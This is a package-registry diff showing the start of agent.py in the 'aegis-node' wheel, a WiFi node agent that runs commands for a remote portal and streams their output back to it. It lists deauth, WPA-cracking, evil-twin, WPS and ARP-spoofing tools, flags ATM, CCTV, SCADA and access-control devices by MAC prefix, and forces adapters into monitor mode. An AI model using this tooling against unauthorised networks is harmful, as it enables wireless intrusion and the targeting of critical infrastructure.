aegis-node 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- aegis_node/__init__.py +4 -0
- aegis_node/__main__.py +4 -0
- aegis_node/adapters.py +128 -0
- aegis_node/agent.py +3104 -0
- aegis_node-0.1.0.dist-info/METADATA +76 -0
- aegis_node-0.1.0.dist-info/RECORD +9 -0
- aegis_node-0.1.0.dist-info/WHEEL +5 -0
- aegis_node-0.1.0.dist-info/entry_points.txt +2 -0
- aegis_node-0.1.0.dist-info/top_level.txt +1 -0
aegis_node/agent.py
ADDED
|
@@ -0,0 +1,3104 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Aegis WiFi Node Agent — connects a local USB WiFi adapter to the Aegis portal.
|
|
3
|
+
|
|
4
|
+
Usage:
|
|
5
|
+
aegis-node connect # browser-based auth (recommended)
|
|
6
|
+
aegis-node connect --no-browser # show URL instead of opening browser
|
|
7
|
+
aegis-node preflight # check system readiness
|
|
8
|
+
aegis-node preflight --install # auto-install missing tools
|
|
9
|
+
"""
|
|
10
|
+
from __future__ import annotations
|
|
11
|
+
|
|
12
|
+
import argparse
|
|
13
|
+
import json
|
|
14
|
+
import logging
|
|
15
|
+
import os
|
|
16
|
+
import re
|
|
17
|
+
import signal
|
|
18
|
+
import subprocess
|
|
19
|
+
import sys
|
|
20
|
+
import threading
|
|
21
|
+
import time
|
|
22
|
+
|
|
23
|
+
import requests
|
|
24
|
+
|
|
25
|
+
logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s %(message)s')
|
|
26
|
+
log = logging.getLogger('aegis-node')
|
|
27
|
+
|
|
28
|
+
POLL_INTERVAL = 3
|
|
29
|
+
HEARTBEAT_INTERVAL = 30
|
|
30
|
+
MAX_RECONNECT_DELAY = 120
|
|
31
|
+
RUNNING = True
|
|
32
|
+
|
|
33
|
+
# ── ANSI colors ──────────────────────────────────────────────────────────
|
|
34
|
+
|
|
35
|
+
_RESET = '\033[0m'
|
|
36
|
+
_BOLD = '\033[1m'
|
|
37
|
+
_DIM = '\033[2m'
|
|
38
|
+
_BLUE = '\033[38;2;45;107;255m' # Divolt Blue #2D6BFF
|
|
39
|
+
_CYAN = '\033[36m'
|
|
40
|
+
_GREEN = '\033[32m'
|
|
41
|
+
_RED = '\033[31m'
|
|
42
|
+
_YELLOW = '\033[33m'
|
|
43
|
+
_WHITE = '\033[97m'
|
|
44
|
+
_GREY = '\033[90m'
|
|
45
|
+
|
|
46
|
+
BANNER = f"""{_BLUE}{_BOLD}
|
|
47
|
+
█████╗ ███████╗ ██████╗ ██╗███████╗
|
|
48
|
+
██╔══██╗██╔════╝██╔════╝ ██║██╔════╝
|
|
49
|
+
███████║█████╗ ██║ ███╗██║███████╗
|
|
50
|
+
██╔══██║██╔══╝ ██║ ██║██║╚════██║
|
|
51
|
+
██║ ██║███████╗╚██████╔╝██║███████║
|
|
52
|
+
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝{_RESET}
|
|
53
|
+
{_CYAN} ░▒▓ WiFi Node Agent{_RESET} {_DIM}v0.1.0{_RESET} {_GREY}by Divolt{_RESET}
|
|
54
|
+
{_DIM} ──────────────────────────────────────{_RESET}
|
|
55
|
+
"""
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
def _no_color() -> bool:
|
|
59
|
+
return os.environ.get('NO_COLOR') or not sys.stdout.isatty()
|
|
60
|
+
|
|
61
|
+
|
|
62
|
+
# ── Dependency management ───────────────────────────────────────────────
|
|
63
|
+
|
|
64
|
+
CORE_DEPS = {
|
|
65
|
+
'iw': {'apt': 'iw', 'required': True, 'desc': 'Wireless interface control'},
|
|
66
|
+
'ip': {'apt': 'iproute2', 'required': True, 'desc': 'Network interface management'},
|
|
67
|
+
'tcpdump': {'apt': 'tcpdump', 'required': True, 'desc': 'Packet capture'},
|
|
68
|
+
'nmap': {'apt': 'nmap', 'required': True, 'desc': 'Network scanning'},
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
MONITOR_DEPS = {
|
|
72
|
+
'airmon-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'Monitor mode management'},
|
|
73
|
+
'airodump-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'Wireless traffic capture'},
|
|
74
|
+
'aireplay-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'Packet injection / deauth'},
|
|
75
|
+
'aircrack-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'WPA key cracking'},
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
ADVANCED_DEPS = {
|
|
79
|
+
'hashcat': {'apt': 'hashcat', 'required': False, 'desc': 'GPU-accelerated cracking'},
|
|
80
|
+
'hcxdumptool': {'apt': 'hcxdumptool', 'required': False, 'desc': 'PMKID capture'},
|
|
81
|
+
'hcxpcapngtool':{'apt': 'hcxtools', 'required': False, 'desc': 'Hash conversion'},
|
|
82
|
+
'hostapd': {'apt': 'hostapd', 'required': False, 'desc': 'Evil twin AP'},
|
|
83
|
+
'dnsmasq': {'apt': 'dnsmasq', 'required': False, 'desc': 'DNS/DHCP for evil twin'},
|
|
84
|
+
'reaver': {'apt': 'reaver', 'required': False, 'desc': 'WPS PIN attack'},
|
|
85
|
+
'tshark': {'apt': 'tshark', 'required': False, 'desc': 'Protocol analysis'},
|
|
86
|
+
'arpspoof': {'apt': 'dsniff', 'required': False, 'desc': 'ARP spoofing (MITM)'},
|
|
87
|
+
'macchanger': {'apt': 'macchanger', 'required': False, 'desc': 'MAC address randomisation'},
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
ALL_DEPS = {**CORE_DEPS, **MONITOR_DEPS, **ADVANCED_DEPS}
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
def check_dependencies() -> dict[str, bool]:
|
|
94
|
+
"""Check which tools are installed. Returns {tool: is_present}."""
|
|
95
|
+
import shutil
|
|
96
|
+
return {tool: shutil.which(tool) is not None for tool in ALL_DEPS}
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def preflight_check(auto_install: bool = False) -> bool:
|
|
100
|
+
"""Run readiness check. Returns True if all required deps present."""
|
|
101
|
+
import shutil
|
|
102
|
+
|
|
103
|
+
c = not _no_color()
|
|
104
|
+
B, R, G, Y, D, W, CY, GR = (_BOLD, _RESET, _GREEN, _YELLOW, _DIM, _WHITE, _CYAN, _GREY) if c else ('',)*8
|
|
105
|
+
|
|
106
|
+
print(f'\n {CY}{B}PREFLIGHT CHECK{R}')
|
|
107
|
+
print(f' {D}{"─" * 40}{R}\n')
|
|
108
|
+
|
|
109
|
+
# 1. Check OS
|
|
110
|
+
import platform
|
|
111
|
+
print(f' {D}OS{R} {W}{platform.system()} {platform.release()}{R}')
|
|
112
|
+
print(f' {D}Host{R} {W}{platform.node()}{R}')
|
|
113
|
+
is_root = os.geteuid() == 0 if hasattr(os, 'geteuid') else False
|
|
114
|
+
print(f' {D}Root{R} {G + "yes" if is_root else Y + "no (sudo will be requested)"}{R}')
|
|
115
|
+
print()
|
|
116
|
+
|
|
117
|
+
# 2. Check Python dependencies
|
|
118
|
+
print(f' {B}Python Dependencies{R}')
|
|
119
|
+
print(f' {D}{"─" * 40}{R}')
|
|
120
|
+
py_ok = True
|
|
121
|
+
for mod, pkg in [('requests', 'requests')]:
|
|
122
|
+
try:
|
|
123
|
+
__import__(mod)
|
|
124
|
+
print(f' {G}✓{R} {mod}')
|
|
125
|
+
except ImportError:
|
|
126
|
+
print(f' {_RED if c else ""}✗{R} {mod} {D}→ pip install {pkg}{R}')
|
|
127
|
+
py_ok = False
|
|
128
|
+
print()
|
|
129
|
+
|
|
130
|
+
# 3. Check system tools
|
|
131
|
+
results = {}
|
|
132
|
+
all_required_ok = True
|
|
133
|
+
missing_apt: set[str] = set()
|
|
134
|
+
|
|
135
|
+
for category, deps, label in [
|
|
136
|
+
(CORE_DEPS, CORE_DEPS, 'Core (required)'),
|
|
137
|
+
(MONITOR_DEPS, MONITOR_DEPS, 'Monitor Mode'),
|
|
138
|
+
(ADVANCED_DEPS, ADVANCED_DEPS, 'Advanced Toolkit'),
|
|
139
|
+
]:
|
|
140
|
+
print(f' {B}{label}{R}')
|
|
141
|
+
print(f' {D}{"─" * 40}{R}')
|
|
142
|
+
for tool, info in deps.items():
|
|
143
|
+
present = shutil.which(tool) is not None
|
|
144
|
+
results[tool] = present
|
|
145
|
+
if present:
|
|
146
|
+
mark = f'{G}✓{R}'
|
|
147
|
+
elif info['required']:
|
|
148
|
+
mark = f'{_RED if c else ""}✗{R}'
|
|
149
|
+
else:
|
|
150
|
+
mark = f'{Y}○{R}'
|
|
151
|
+
hint = '' if present else f' {D}→ apt install {info["apt"]}{R}'
|
|
152
|
+
print(f' {mark} {tool:<18} {D}{info["desc"]}{R}{hint}')
|
|
153
|
+
if not present:
|
|
154
|
+
missing_apt.add(info['apt'])
|
|
155
|
+
if info['required']:
|
|
156
|
+
all_required_ok = False
|
|
157
|
+
print()
|
|
158
|
+
|
|
159
|
+
# 4. Check USB adapter
|
|
160
|
+
print(f' {B}USB WiFi Adapter{R}')
|
|
161
|
+
print(f' {D}{"─" * 40}{R}')
|
|
162
|
+
from .adapters import detect_adapters
|
|
163
|
+
adapters = detect_adapters()
|
|
164
|
+
if adapters:
|
|
165
|
+
for a in adapters:
|
|
166
|
+
cap = []
|
|
167
|
+
if a['cap_monitor_mode']:
|
|
168
|
+
cap.append(f'{G}MON{R}')
|
|
169
|
+
if a['cap_injection']:
|
|
170
|
+
cap.append(f'{G}INJ{R}')
|
|
171
|
+
cap_str = ' '.join(cap) if cap else f'{Y}MANAGED{R}'
|
|
172
|
+
print(f' {G}✓{R} {W}{a["chipset"]}{R} {D}({a["vid_pid"]}){R} [{cap_str}]')
|
|
173
|
+
else:
|
|
174
|
+
print(f' {_RED if c else ""}✗{R} No compatible USB WiFi adapter detected')
|
|
175
|
+
print(f' {D}Plug in a supported adapter and try again{R}')
|
|
176
|
+
print()
|
|
177
|
+
|
|
178
|
+
# 5. Summary
|
|
179
|
+
total = len(results)
|
|
180
|
+
found = sum(results.values())
|
|
181
|
+
pct = int(found / total * 100) if total else 0
|
|
182
|
+
|
|
183
|
+
# Progress bar
|
|
184
|
+
bar_width = 30
|
|
185
|
+
filled = int(bar_width * pct / 100)
|
|
186
|
+
bar_color = G if pct == 100 else (Y if pct >= 60 else (_RED if c else ''))
|
|
187
|
+
bar = f'{bar_color}{"█" * filled}{D}{"░" * (bar_width - filled)}{R}'
|
|
188
|
+
|
|
189
|
+
print(f' {D}{"─" * 40}{R}')
|
|
190
|
+
print(f' {B}READINESS{R} {bar} {W}{found}/{total}{R} {D}({pct}%){R}')
|
|
191
|
+
if not all_required_ok:
|
|
192
|
+
print(f' {B}STATUS{R} {_RED if c else ""}✗ MISSING REQUIRED TOOLS{R}')
|
|
193
|
+
elif not adapters:
|
|
194
|
+
print(f' {B}STATUS{R} {_RED if c else ""}✗ NO ADAPTER DETECTED{R}')
|
|
195
|
+
elif pct == 100:
|
|
196
|
+
print(f' {B}STATUS{R} {G}✓ FULLY READY{R}')
|
|
197
|
+
else:
|
|
198
|
+
print(f' {B}STATUS{R} {Y}◐ PARTIAL ({total - found} optional missing){R}')
|
|
199
|
+
print(f' {D}{"─" * 40}{R}\n')
|
|
200
|
+
|
|
201
|
+
# 6. Auto-install if requested
|
|
202
|
+
if auto_install and missing_apt:
|
|
203
|
+
print(f' Installing missing packages: {", ".join(sorted(missing_apt))}')
|
|
204
|
+
apt_cmd = ['sudo', 'apt-get', 'install', '-y'] + sorted(missing_apt)
|
|
205
|
+
try:
|
|
206
|
+
subprocess.run(apt_cmd, check=True)
|
|
207
|
+
print(' ✓ Installation complete — re-running check...\n')
|
|
208
|
+
return preflight_check(auto_install=False)
|
|
209
|
+
except subprocess.CalledProcessError as e:
|
|
210
|
+
print(f' ✗ apt install failed: {e}')
|
|
211
|
+
return False
|
|
212
|
+
|
|
213
|
+
return all_required_ok and bool(adapters)
|
|
214
|
+
|
|
215
|
+
|
|
216
|
+
def _signal_handler(sig, frame):
|
|
217
|
+
global RUNNING
|
|
218
|
+
log.info('Shutting down...')
|
|
219
|
+
RUNNING = False
|
|
220
|
+
|
|
221
|
+
|
|
222
|
+
signal.signal(signal.SIGINT, _signal_handler)
|
|
223
|
+
signal.signal(signal.SIGTERM, _signal_handler)
|
|
224
|
+
|
|
225
|
+
|
|
226
|
+
# ── HTTP Client ──────────────────────────────────────────────────────────
|
|
227
|
+
|
|
228
|
+
class AegisNodeClient:
|
|
229
|
+
def __init__(self, server: str, session_id: int, token: str):
|
|
230
|
+
self.server = server.rstrip('/')
|
|
231
|
+
self.session_id = session_id
|
|
232
|
+
self.token = token
|
|
233
|
+
self.sess = requests.Session()
|
|
234
|
+
self.sess.headers.update({
|
|
235
|
+
'X-WiFi-Node-Session': str(session_id),
|
|
236
|
+
'X-WiFi-Node-Token': token,
|
|
237
|
+
'Content-Type': 'application/json',
|
|
238
|
+
})
|
|
239
|
+
|
|
240
|
+
def _url(self, path: str) -> str:
|
|
241
|
+
return f'{self.server}/api/autobot/wifi-node/{path}'
|
|
242
|
+
|
|
243
|
+
def register(self, adapter_info: dict, host_info: dict) -> dict:
|
|
244
|
+
r = self.sess.post(self._url('register/'), json={
|
|
245
|
+
'adapter': adapter_info, 'host': host_info,
|
|
246
|
+
}, timeout=15)
|
|
247
|
+
r.raise_for_status()
|
|
248
|
+
return r.json()
|
|
249
|
+
|
|
250
|
+
def poll(self) -> dict:
|
|
251
|
+
r = self.sess.post(self._url('poll/'), json={}, timeout=15)
|
|
252
|
+
r.raise_for_status()
|
|
253
|
+
return r.json()
|
|
254
|
+
|
|
255
|
+
def send_output(self, job_id: int, text: str):
|
|
256
|
+
try:
|
|
257
|
+
self.sess.post(self._url('output/'), json={
|
|
258
|
+
'job_id': job_id, 'text': text,
|
|
259
|
+
}, timeout=10)
|
|
260
|
+
except Exception as e:
|
|
261
|
+
log.warning('Failed to send output: %s', e)
|
|
262
|
+
|
|
263
|
+
def send_result(self, job_id: int, result: dict):
|
|
264
|
+
r = self.sess.post(self._url('result/'), json={
|
|
265
|
+
'job_id': job_id, 'result': result,
|
|
266
|
+
}, timeout=30)
|
|
267
|
+
r.raise_for_status()
|
|
268
|
+
return r.json()
|
|
269
|
+
|
|
270
|
+
def send_error(self, job_id: int, error: str):
|
|
271
|
+
r = self.sess.post(self._url('result/'), json={
|
|
272
|
+
'job_id': job_id, 'error': error,
|
|
273
|
+
}, timeout=15)
|
|
274
|
+
r.raise_for_status()
|
|
275
|
+
return r.json()
|
|
276
|
+
|
|
277
|
+
|
|
278
|
+
# ── Output buffer ────────────────────────────────────────────────────────
|
|
279
|
+
|
|
280
|
+
class OutputBuffer:
|
|
281
|
+
"""Batches terminal output lines and flushes periodically to the portal."""
|
|
282
|
+
|
|
283
|
+
FLUSH_INTERVAL = 1.5 # seconds
|
|
284
|
+
FLUSH_SIZE = 2048 # chars
|
|
285
|
+
|
|
286
|
+
def __init__(self, client: AegisNodeClient, job_id: int):
|
|
287
|
+
self._client = client
|
|
288
|
+
self._job_id = job_id
|
|
289
|
+
self._buf: list[str] = []
|
|
290
|
+
self._lock = threading.Lock()
|
|
291
|
+
self._last_flush = time.monotonic()
|
|
292
|
+
|
|
293
|
+
def write(self, text: str):
|
|
294
|
+
with self._lock:
|
|
295
|
+
self._buf.append(text)
|
|
296
|
+
total = sum(len(s) for s in self._buf)
|
|
297
|
+
elapsed = time.monotonic() - self._last_flush
|
|
298
|
+
if total >= self.FLUSH_SIZE or elapsed >= self.FLUSH_INTERVAL:
|
|
299
|
+
self._do_flush()
|
|
300
|
+
|
|
301
|
+
def flush(self):
|
|
302
|
+
with self._lock:
|
|
303
|
+
self._do_flush()
|
|
304
|
+
|
|
305
|
+
def _do_flush(self):
|
|
306
|
+
if not self._buf:
|
|
307
|
+
return
|
|
308
|
+
text = ''.join(self._buf)
|
|
309
|
+
self._buf.clear()
|
|
310
|
+
self._last_flush = time.monotonic()
|
|
311
|
+
self._client.send_output(self._job_id, text)
|
|
312
|
+
|
|
313
|
+
|
|
314
|
+
# ── Command execution ────────────────────────────────────────────────────
|
|
315
|
+
|
|
316
|
+
def _exec_cmd(buf: OutputBuffer, cmd: list[str], timeout: int = 300,
|
|
317
|
+
sudo: bool = False) -> tuple[int, str]:
|
|
318
|
+
"""Run a command, streaming output to the portal via buffer."""
|
|
319
|
+
if sudo and os.geteuid() != 0:
|
|
320
|
+
cmd = ['sudo'] + cmd
|
|
321
|
+
try:
|
|
322
|
+
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
|
|
323
|
+
text=True, bufsize=1)
|
|
324
|
+
except FileNotFoundError:
|
|
325
|
+
msg = f'Command not found: {cmd[0]}\n'
|
|
326
|
+
buf.write(msg)
|
|
327
|
+
buf.flush()
|
|
328
|
+
return -1, msg
|
|
329
|
+
|
|
330
|
+
output_lines = []
|
|
331
|
+
try:
|
|
332
|
+
for line in iter(proc.stdout.readline, ''):
|
|
333
|
+
output_lines.append(line)
|
|
334
|
+
buf.write(line)
|
|
335
|
+
if not RUNNING:
|
|
336
|
+
proc.terminate()
|
|
337
|
+
break
|
|
338
|
+
proc.wait(timeout=timeout)
|
|
339
|
+
except subprocess.TimeoutExpired:
|
|
340
|
+
proc.kill()
|
|
341
|
+
output_lines.append('\n[TIMEOUT]\n')
|
|
342
|
+
buf.write('\n[TIMEOUT]\n')
|
|
343
|
+
buf.flush()
|
|
344
|
+
return proc.returncode or 0, ''.join(output_lines)
|
|
345
|
+
|
|
346
|
+
|
|
347
|
+
def _run_quiet(cmd: list[str], timeout: int = 30, sudo: bool = False) -> tuple[int, str]:
|
|
348
|
+
"""Run a command silently (no streaming). Returns (code, stdout)."""
|
|
349
|
+
if sudo and os.geteuid() != 0:
|
|
350
|
+
cmd = ['sudo'] + cmd
|
|
351
|
+
try:
|
|
352
|
+
r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
|
353
|
+
return r.returncode, r.stdout + r.stderr
|
|
354
|
+
except (subprocess.TimeoutExpired, FileNotFoundError, OSError) as e:
|
|
355
|
+
return -1, str(e)
|
|
356
|
+
|
|
357
|
+
|
|
358
|
+
# ── Scan result parser ───────────────────────────────────────────────────
|
|
359
|
+
|
|
360
|
+
def _parse_iw_scan(raw: str) -> list[dict]:
|
|
361
|
+
"""Parse `iw dev X scan` output into structured network list."""
|
|
362
|
+
networks = []
|
|
363
|
+
current: dict | None = None
|
|
364
|
+
for line in raw.splitlines():
|
|
365
|
+
if line.startswith('BSS '):
|
|
366
|
+
if current:
|
|
367
|
+
networks.append(current)
|
|
368
|
+
m = re.match(r'BSS ([0-9a-f:]{17})', line)
|
|
369
|
+
current = {'bssid': m.group(1) if m else '', 'ssid': '', 'signal': '',
|
|
370
|
+
'freq': '', 'channel': '', 'encryption': 'Open'}
|
|
371
|
+
elif current:
|
|
372
|
+
stripped = line.strip()
|
|
373
|
+
if stripped.startswith('SSID:'):
|
|
374
|
+
current['ssid'] = stripped[5:].strip()
|
|
375
|
+
elif stripped.startswith('freq:'):
|
|
376
|
+
freq = stripped[5:].strip()
|
|
377
|
+
current['freq'] = freq
|
|
378
|
+
current['channel'] = _freq_to_channel(freq)
|
|
379
|
+
elif stripped.startswith('signal:'):
|
|
380
|
+
current['signal'] = stripped[7:].strip()
|
|
381
|
+
elif stripped.startswith('RSN:') or stripped.startswith('WPA:'):
|
|
382
|
+
current['encryption'] = 'WPA2' if 'RSN' in stripped else 'WPA'
|
|
383
|
+
elif 'CCMP' in stripped and current['encryption'] in ('WPA', 'WPA2'):
|
|
384
|
+
pass
|
|
385
|
+
elif 'Group cipher: TKIP' in stripped:
|
|
386
|
+
current['encryption'] = current['encryption'] + '/TKIP'
|
|
387
|
+
elif 'WEP' in stripped and current['encryption'] == 'Open':
|
|
388
|
+
current['encryption'] = 'WEP'
|
|
389
|
+
if current:
|
|
390
|
+
networks.append(current)
|
|
391
|
+
return networks
|
|
392
|
+
|
|
393
|
+
|
|
394
|
+
def _freq_to_channel(freq_str: str) -> str:
|
|
395
|
+
"""Convert frequency MHz string to channel number."""
|
|
396
|
+
try:
|
|
397
|
+
freq = int(freq_str.split('.')[0])
|
|
398
|
+
except (ValueError, IndexError):
|
|
399
|
+
return ''
|
|
400
|
+
if 2412 <= freq <= 2484:
|
|
401
|
+
if freq == 2484:
|
|
402
|
+
return '14'
|
|
403
|
+
return str((freq - 2407) // 5)
|
|
404
|
+
elif 5180 <= freq <= 5825:
|
|
405
|
+
return str((freq - 5000) // 5)
|
|
406
|
+
return ''
|
|
407
|
+
|
|
408
|
+
|
|
409
|
+
# ── OUI vendor database (critical infrastructure device identification) ───
|
|
410
|
+
|
|
411
|
+
CRITICAL_INFRA_OUIS: dict[str, str] = {
|
|
412
|
+
# ATM / POS / Banking
|
|
413
|
+
'00:0e:7f': 'NCR (ATM/POS)',
|
|
414
|
+
'00:0d:28': 'NCR (ATM)',
|
|
415
|
+
'00:15:b9': 'NCR Financial',
|
|
416
|
+
'00:1c:39': 'Diebold Nixdorf (ATM)',
|
|
417
|
+
'00:0a:e4': 'Diebold (ATM)',
|
|
418
|
+
'00:1f:45': 'Verifone (POS)',
|
|
419
|
+
'00:26:32': 'Verifone (POS)',
|
|
420
|
+
'00:1b:b4': 'Ingenico (POS)',
|
|
421
|
+
'b4:a8:28': 'Ingenico (POS)',
|
|
422
|
+
'00:02:74': 'Wincor Nixdorf (ATM)',
|
|
423
|
+
# CCTV / IP Cameras / NVR
|
|
424
|
+
'c0:56:e3': 'Hikvision (CCTV)',
|
|
425
|
+
'28:57:be': 'Hikvision (CCTV)',
|
|
426
|
+
'54:c4:15': 'Hikvision (CCTV)',
|
|
427
|
+
'44:19:b6': 'Hikvision (CCTV)',
|
|
428
|
+
'a4:14:37': 'Hikvision (CCTV)',
|
|
429
|
+
'e0:50:8b': 'Hikvision (CCTV)',
|
|
430
|
+
'4c:bd:8f': 'Dahua (CCTV)',
|
|
431
|
+
'3c:ef:8c': 'Dahua (CCTV)',
|
|
432
|
+
'a0:bd:1d': 'Dahua (CCTV)',
|
|
433
|
+
'00:40:8c': 'Axis Communications (IP Camera)',
|
|
434
|
+
'ac:cc:8e': 'Axis Communications (IP Camera)',
|
|
435
|
+
'b8:a4:4f': 'Axis Communications (IP Camera)',
|
|
436
|
+
'00:80:f0': 'Panasonic (CCTV/BMS)',
|
|
437
|
+
'00:1e:0b': 'Panasonic (CCTV)',
|
|
438
|
+
'00:1f:e2': 'Hanwha Techwin (CCTV)',
|
|
439
|
+
'c4:ae:12': 'Samsung Techwin (CCTV)',
|
|
440
|
+
'00:18:85': 'Avigilon (CCTV)',
|
|
441
|
+
'00:24:a4': 'Vivotek (IP Camera)',
|
|
442
|
+
# SCADA / ICS / Building Management
|
|
443
|
+
'00:40:9d': 'Siemens (SCADA/ICS)',
|
|
444
|
+
'08:00:06': 'Siemens Industrial',
|
|
445
|
+
'00:0e:8c': 'Siemens Building',
|
|
446
|
+
'00:01:05': 'Beckhoff (PLC/ICS)',
|
|
447
|
+
'00:60:35': 'ABB/Asea Brown Boveri (ICS)',
|
|
448
|
+
'00:30:11': 'Honeywell (BMS/Access)',
|
|
449
|
+
'00:10:c6': 'Honeywell (BMS)',
|
|
450
|
+
'00:06:9d': 'Schneider Electric (SCADA)',
|
|
451
|
+
'00:80:e1': 'Schneider Electric',
|
|
452
|
+
'00:00:54': 'Schneider Automation',
|
|
453
|
+
'00:20:4a': 'Rockwell/Allen-Bradley (PLC)',
|
|
454
|
+
'00:1d:9c': 'Rockwell Automation',
|
|
455
|
+
'00:0b:ab': 'Johnson Controls (BMS)',
|
|
456
|
+
# Access Control / Physical Security
|
|
457
|
+
'00:17:43': 'HID Global (Access Control)',
|
|
458
|
+
'00:24:a1': 'ASSA ABLOY (Locks)',
|
|
459
|
+
'00:16:c7': 'Lenel (Access Control)',
|
|
460
|
+
'00:18:ae': 'TVT / ZKTeco (Access)',
|
|
461
|
+
# Network Infrastructure (often hidden on critical nets)
|
|
462
|
+
'00:0c:29': 'VMware (Virtual Infra)',
|
|
463
|
+
'00:0d:3a': 'Microsoft (Azure/Hyper-V)',
|
|
464
|
+
'00:50:56': 'VMware (ESXi)',
|
|
465
|
+
}
|
|
466
|
+
|
|
467
|
+
|
|
468
|
+
def _oui_lookup(mac: str) -> str:
|
|
469
|
+
"""Look up MAC OUI prefix against critical infrastructure database."""
|
|
470
|
+
prefix = mac[:8].lower()
|
|
471
|
+
return CRITICAL_INFRA_OUIS.get(prefix, '')
|
|
472
|
+
|
|
473
|
+
|
|
474
|
+
def _parse_airodump_csv(csv_path: str) -> tuple[list[dict], list[dict]]:
|
|
475
|
+
"""Parse airodump-ng CSV output into (networks, clients) lists."""
|
|
476
|
+
networks = []
|
|
477
|
+
clients = []
|
|
478
|
+
section = ''
|
|
479
|
+
headers: list[str] = []
|
|
480
|
+
|
|
481
|
+
try:
|
|
482
|
+
with open(csv_path, 'r', errors='replace') as f:
|
|
483
|
+
for line in f:
|
|
484
|
+
line = line.strip()
|
|
485
|
+
if not line:
|
|
486
|
+
continue
|
|
487
|
+
if line.startswith('BSSID') and 'ESSID' in line:
|
|
488
|
+
section = 'networks'
|
|
489
|
+
headers = [h.strip() for h in line.split(',')]
|
|
490
|
+
continue
|
|
491
|
+
if line.startswith('Station MAC'):
|
|
492
|
+
section = 'clients'
|
|
493
|
+
headers = [h.strip() for h in line.split(',')]
|
|
494
|
+
continue
|
|
495
|
+
if not section or not headers:
|
|
496
|
+
continue
|
|
497
|
+
|
|
498
|
+
parts = [p.strip() for p in line.split(',')]
|
|
499
|
+
if len(parts) < 6:
|
|
500
|
+
continue
|
|
501
|
+
|
|
502
|
+
if section == 'networks':
|
|
503
|
+
bssid = parts[0].strip()
|
|
504
|
+
if not re.match(r'^[0-9A-Fa-f:]{17}$', bssid):
|
|
505
|
+
continue
|
|
506
|
+
essid = parts[-1].strip() if len(parts) > 13 else ''
|
|
507
|
+
hidden = not essid or essid.startswith('\\x00')
|
|
508
|
+
channel = parts[3].strip() if len(parts) > 3 else ''
|
|
509
|
+
power = parts[8].strip() if len(parts) > 8 else ''
|
|
510
|
+
privacy = parts[5].strip() if len(parts) > 5 else ''
|
|
511
|
+
vendor = _oui_lookup(bssid)
|
|
512
|
+
networks.append({
|
|
513
|
+
'bssid': bssid,
|
|
514
|
+
'ssid': essid if not hidden else '',
|
|
515
|
+
'hidden': hidden,
|
|
516
|
+
'channel': channel,
|
|
517
|
+
'power_dbm': power,
|
|
518
|
+
'encryption': privacy,
|
|
519
|
+
'vendor': vendor,
|
|
520
|
+
'critical_infra': bool(vendor),
|
|
521
|
+
})
|
|
522
|
+
elif section == 'clients':
|
|
523
|
+
station_mac = parts[0].strip()
|
|
524
|
+
if not re.match(r'^[0-9A-Fa-f:]{17}$', station_mac):
|
|
525
|
+
continue
|
|
526
|
+
bssid = parts[5].strip() if len(parts) > 5 else ''
|
|
527
|
+
probed = parts[-1].strip() if len(parts) > 6 else ''
|
|
528
|
+
vendor = _oui_lookup(station_mac)
|
|
529
|
+
clients.append({
|
|
530
|
+
'station_mac': station_mac,
|
|
531
|
+
'bssid': bssid,
|
|
532
|
+
'probed_ssids': probed,
|
|
533
|
+
'vendor': vendor,
|
|
534
|
+
'critical_infra': bool(vendor),
|
|
535
|
+
})
|
|
536
|
+
except FileNotFoundError:
|
|
537
|
+
pass
|
|
538
|
+
|
|
539
|
+
return networks, clients
|
|
540
|
+
|
|
541
|
+
|
|
542
|
+
# ── Monitor mode helpers ─────────────────────────────────────────────────
|
|
543
|
+
|
|
544
|
+
def _enter_monitor_mode(iface: str, buf: OutputBuffer | None = None) -> str | None:
|
|
545
|
+
"""Switch interface to monitor mode. Returns monitor interface name or None."""
|
|
546
|
+
if buf:
|
|
547
|
+
buf.write(f'[*] Entering monitor mode on {iface}...\n')
|
|
548
|
+
|
|
549
|
+
# Try airmon-ng first (handles driver quirks)
|
|
550
|
+
code, out = _run_quiet(['airmon-ng', 'check', 'kill'], sudo=True)
|
|
551
|
+
code, out = _run_quiet(['airmon-ng', 'start', iface], sudo=True)
|
|
552
|
+
if code == 0:
|
|
553
|
+
m = re.search(r'monitor mode.*enabled.*on\s+\[?(\w+)', out, re.IGNORECASE)
|
|
554
|
+
if m:
|
|
555
|
+
mon_iface = m.group(1)
|
|
556
|
+
if buf:
|
|
557
|
+
buf.write(f'[+] Monitor mode active: {mon_iface}\n')
|
|
558
|
+
return mon_iface
|
|
559
|
+
# airmon-ng often renames to wlan0mon
|
|
560
|
+
mon_iface = iface + 'mon'
|
|
561
|
+
_, check = _run_quiet(['iw', 'dev'])
|
|
562
|
+
if mon_iface in check:
|
|
563
|
+
if buf:
|
|
564
|
+
buf.write(f'[+] Monitor mode active: {mon_iface}\n')
|
|
565
|
+
return mon_iface
|
|
566
|
+
|
|
567
|
+
# Manual fallback
|
|
568
|
+
if buf:
|
|
569
|
+
buf.write('[*] airmon-ng fallback — manual monitor mode...\n')
|
|
570
|
+
_run_quiet(['ip', 'link', 'set', iface, 'down'], sudo=True)
|
|
571
|
+
code, _ = _run_quiet(['iw', 'dev', iface, 'set', 'type', 'monitor'], sudo=True)
|
|
572
|
+
_run_quiet(['ip', 'link', 'set', iface, 'up'], sudo=True)
|
|
573
|
+
if code == 0:
|
|
574
|
+
if buf:
|
|
575
|
+
buf.write(f'[+] Monitor mode active: {iface}\n')
|
|
576
|
+
return iface
|
|
577
|
+
|
|
578
|
+
if buf:
|
|
579
|
+
